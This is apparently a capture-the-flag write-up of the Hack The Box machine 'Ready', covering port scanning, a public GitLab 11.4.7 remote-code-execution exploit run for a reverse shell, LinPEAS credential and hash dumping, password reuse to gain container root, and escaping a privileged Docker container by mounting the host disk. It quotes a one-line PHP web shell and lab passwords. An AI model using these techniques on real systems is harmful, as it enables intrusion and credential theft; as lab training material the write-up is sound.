Overview

Ready was a quick and easy box that uses an outdated and vulnerable version of GitLab to allow initial exploitation and shell access to a hosted docker container. From there, root elevation within the container is required so that it’s underlying configration can be abused in order to provide root access to the host machine. Let’s see how I did all that!


NMAP Scan

For reference here’s a full (script/version enumeration) outline of the top 1000 ports on the machine:

Initial Scan:
Nmap scan report for ready.htb (10.10.10.220)
Host is up, received conn-refused (0.024s latency).
Scanned at 2021-03-31 16:05:21 BST for 13s
Not shown: 998 closed ports
Reason: 998 conn-refused
PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC82vTuN1hMqiqUfN+Lwih4g8rSJjaMjDQdhfdT8vEQ67urtQIyPszlNtkCDn6MNcBfibD/7Zz4r8lr1iNe/Afk6LJqTt3OWewzS2a1TpCrEbvoileYAl/Feya5PfbZ8mv77+MWEA+kT0pAw1xW9bpkhYCGkJQm9OYdcsEEg1i+kQ/ng3+GaFrGJjxqYaW1LXyXN1f7j9xG2f27rKEZoRO/9HOH9Y+5ru184QQXjW/ir+lEJ7xTwQA5U1GOW1m/AgpHIfI5j9aDfT/r4QMe+au+2yPotnOGBBJBz3ef+fQzj/Cq7OGRR96ZBfJ3i00B/Waw/RI19qd7+ybNXF/gBzptEYXujySQZSu92Dwi23itxJBolE6hpQ2uYVA8VBlF0KXESt3ZJVWSAsU3oguNCXtY7krjqPe6BZRy+lrbeska1bIGPZrqLEgptpKhz14UaOcH9/vpMYFdSKr24aMXvZBDK1GJg50yihZx8I9I367z0my8E89+TnjGFY2QTzxmbmU=
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBxOcBGNkWsliFwTRwUtQB3NXEhTAFLziGDfCgBV7B9Hp6GQMPGQXqMk7nnveA8vUz0D7ug5n04A=
|   256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfXa+OM5/utlol5mJajysEsV4zb/L0BJ1lKxMPadPvR
5080/tcp open  http    syn-ack nginx
|_http-favicon: Unknown favicon MD5: F7E3D97F404E71D302B3239EEF48D5F2
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 53 disallowed entries (40 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
| /s/ /snippets/new /snippets/*/edit /snippets/*/raw
| /*/*.git /*/*/fork/new /*/*/repository/archive* /*/*/activity
| /*/*/new /*/*/edit /*/*/raw /*/*/blame /*/*/commits/*/*
| /*/*/commit/*.patch /*/*/commit/*.diff /*/*/compare /*/*/branches/new
| /*/*/tags/new /*/*/network /*/*/graphs /*/*/milestones/new
| /*/*/milestones/*/edit /*/*/issues/new /*/*/issues/*/edit
| /*/*/merge_requests/new /*/*/merge_requests/*.patch
|_/*/*/merge_requests/*.diff /*/*/merge_requests/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://ready.htb:5080/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Mar 31 16:05:34 2021 -- 1 IP address (1 host up) scanned in 13.73 seconds

As well as a full, but simple, port scan for good measure:

Full Scan:
Nmap scan report for ready.htb (10.10.10.220)
Host is up (0.022s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
5080/tcp open  onscreen

Initial Enumeration

Following the NMAP scans shown above, we can see that theres 2 ports:

  • 22/tcp (ssh)
  • 5080/tcp (www)

Initially the most interesting port is 5080– an unusual port to run NGINX on, but it can be looked at none-the-less.

Visting the site and we can see that it’s actually a Gitlab instance. We can sign up and get access, and establish that there is a repository in existence named ready-channel:

Looking at the contents, it looks like its an incredibly(!) old version of the Drupal CMS - looking at the included CHANGELOG file:

$ head CHANGELOG.txt

Drupal 7.56, 2017-06-21
-----------------------
- Fixed security issues (access bypass). See SA-CORE-2017-003.

Drupal 7.55, 2017-06-07
-----------------------
- Fixed incompatibility with PHP versions 7.0.19 and 7.1.5 due to duplicate
  DATE_RFC7231 definition.
- Made Drupal core pass all automated tests on PHP 7.1.

In total, the repository owner has made a total of 4 commits, most of them excessive in terms of the amount of “changes” made. This makes it difficult to parse through changes, at a glance, for anything sensitive.

Looking around the filesystem, there are some interesting things if you look closely. First, a set of potential MySQL creds:

$databases = array (
  'default' =>
  array (
    'default' =>
    array (
      'database' => 'drupal',
      'username' => 'drupaluser',
      'password' => '%%cHzhNC=k9yYN!T',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

http://ready.htb:5080/dude/ready-channel/blob/master/sites/default/settings.php

There also appears to be a shell file, showing as 8 months old, located here:

<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }

http://ready.htb:5080/dude/ready-channel/blob/master/sites/default/files/shell.php

Some time was spent trying to find a defined base_url but I wasn’t able to find one outside of default definitions. From there, a version number was enumerated via the sites /help page - this is also available as a link in the top right hand corner of the page:

GitLab Community Edition 11.4.7

Looking at exploitDB there is indeed a CVE for this version:

$ searchsploit gitlab 11.4.7
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                                           |  Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
GitLab 11.4.7 - RCE (Authenticated) (2)                                                                                                                                                                  | ruby/webapps/49334.py
GitLab 11.4.7 - Remote Code Execution (Authenticated) (1)                                                                                                                                                | ruby/webapps/49257.py
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Grabbing one of these and running it verbatim gives us a shell as the git user (albeit in a Docker container):

$ python3 49334.py -u syskey -p password -g http://ready.htb -l 10.10.14.8 -P 9001                             1[+] authenticity_token: VHwOXloRm01plhWdGqA9+DOR2WBpGR+fxfgVtKGvgY6l/GQ+zce4ijRD5ISpJ55L5rE14SQk3WezNZ5jK3hqPg==
[+] Creating project with random name: project266
[+] Running Exploit
[+] Exploit completed successfully!

User Pwn

Once on the box, a quick poke a round was in order but, honestly, familiarity with Gitlab setups (let alone a docker variant) is limited in my own experience so the easiest thing to start with was an enumeration script like LinPEAS.

As it so happens, one of the features for LinPEAS is to enumerate Gitlab files to dump useful information, such as:

{"id"=>2,"email"=>"dude@ready.com","encrypted_password"=>"$2a$10$NOMTXhO31vqykicMa6zj3O.F5PIyI9q/S4c.v22eMSfXNDdtpI2Mm"}

"id"=>3,"email"=>"mitroglou@ready.com","encrypted_password"=>"$2a$10$4vZAglOnEdNEe1SoNj1IE.RfotOt9gPnOXBEihjd7QBhsUmgmAdLi"}

{"id"=>1,"email"=>"admin@example.com","encrypted_password"=>"$2a$10$.Kc4bwq3BqLCEzAGJVIJFeK4emNnucvAqk1vCv4Yp45yy2nmrFa.2"}

{"id"=>4, "email"=>"test@test.gr","encrypted_password"=>"$2a$10$7xK1UPcwvjWIo4ioCz28GeFSt.NR00AHsY2AF.gWzaWwikRVXCTXa"}

gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"

As expected, attempting to crack the hashes doesn’t yield any results - at least not in a quick amount of time, namely as they’re bcrypt hashes. That said, running as the git user has its benefits because passwords can be reset rather easily if needed:

gitlab-rails runner 'user = User.find_by(email: "dude@ready.com"); user.password = "ReallySecurePassword123!"; user.password_confirmation = "ReallySecurePassword123!"; user.save!'

After resetting passwords for dude, admin and mitroglou with Gitlab and logging in, there’s no additional useful information hidden. A few potential passwords have been garnered though; the SMTP password LinPeas grabbed, above, as well as the MySQL credentials we gathered earlier from poking around GitLab manually.

In this case, a quick manual password spray was in order - initially against the dude user - the win was much better than that though as using su with the smtp_password value gets us root on the container:

git@gitlab:~$ su
Password:
root@gitlab:/var/opt/gitlab#

Now we have root, so lets try and breakout this contianer.


Root Pwn

Once on as the root user, it’s generally favorable to run another enumeration scanner, like LinPEAS, to try and aggregate anything you may miss.

In this case it highlights an uncommon folder, although this isn’t all too difficult to find manually, either.

/opt/backup:

root@gitlab:/opt/backup# ls -la
total 112
drwxr-xr-x 2 root root  4096 Dec  7 09:25 .
drwxr-xr-x 1 root root  4096 Dec  1 16:23 ..
-rw-r--r-- 1 root root   872 Dec  7 09:25 docker-compose.yml
-rw-r--r-- 1 root root 15092 Dec  1 16:23 gitlab-secrets.json
-rw-r--r-- 1 root root 79639 Dec  1 19:20 gitlab.rb

Inside here there is a docker-compose.yml file– presumably the one used to create the container we’re in, based on the contents:

version: '2.4'

services:
  web:
    image: 'gitlab/gitlab-ce:11.4.7-ce.0'
    restart: always
    hostname: 'gitlab.example.com'
    environment:
      GITLAB_OMNIBUS_CONFIG: |
        external_url 'http://172.19.0.2'
        redis['bind']='127.0.0.1'
        redis['port']=6379
        gitlab_rails['initial_root_password']=File.read('/root_pass')        
    networks:
      gitlab:
        ipv4_address: 172.19.0.2
    ports:
      - '5080:80'
      #- '127.0.0.1:5080:80'
      #- '127.0.0.1:50443:443'
      #- '127.0.0.1:5022:22'
    volumes:
      - './srv/gitlab/config:/etc/gitlab'
      - './srv/gitlab/logs:/var/log/gitlab'
      - './srv/gitlab/data:/var/opt/gitlab'
      - './root_pass:/root_pass'
    privileged: true
    restart: unless-stopped
    #mem_limit: 1024m

networks:
  gitlab:
    driver: bridge
    ipam:
      config:
        - subnet: 172.19.0.0/16

This also shows one very interesting, and very vulnerable, thing:

privileged: true

In short, if a docker container is configured with the --privilaged flag then this means that any protections afforded to the container, by Docker, are lost and a root user can easily access the host file system. Checking the current mount points:

root@gitlab:/opt/backup# df -h
Filesystem      Size  Used Avail Use% Mounted on
overlay          18G   12G  5.7G  68% /
tmpfs            64M     0   64M   0% /dev
tmpfs           2.0G     0  2.0G   0% /sys/fs/cgroup
/dev/sda2        18G   12G  5.7G  68% /root_pass
shm              64M  2.3M   62M   4% /dev/shm

This shows that /dev/sda2 maps to the /root_pass file and, as per the docker compose file, this is used for (likely) initial configuration of the container. The important bit is that it shows the block device the file resides on, meaning that it can quite easily be mounted:

root@gitlab:/opt/backup# mkdir /mnt/hdd
root@gitlab:/opt/backup# mount /dev/sda2 /mnt/hdd
root@gitlab:/opt/backup# ls -la /mnt/hdd/root/root.txt
-r-------- 1 root root 33 Jul  8  2020 root.txt
root@gitlab:/opt/backup#

And with that, access to the root filesystem (along with its associated SSH keys) is granted.


Credentials Store

Here are a list of credentials obtained during this exercise:

User Password Description
root wW59U!ZKMbG9+*#h Root password - GitLab Docker container. Obtained via LinPEAS grabbing the smtp_password value from the gitlab_rails config.

Final Thoughts

If you’re at least semi-experienced, this box will most likely have been a total cinch for you. I know I didn’t really need to do a whole lot of work from start to finish– frankly, it’s one of the easiest boxes in recent memory.

All that said, there’s still a tonne of value in things like this. If you’re seasoned, you just got to ensure you’ve not just casually forgotten basic things. If you’re new to the field, this can easily provide a challenge, especially to those unfamiliar with Docker and its configurations. Let the lesson be: privilaged containers are bad. Until next time!

-5ysk3y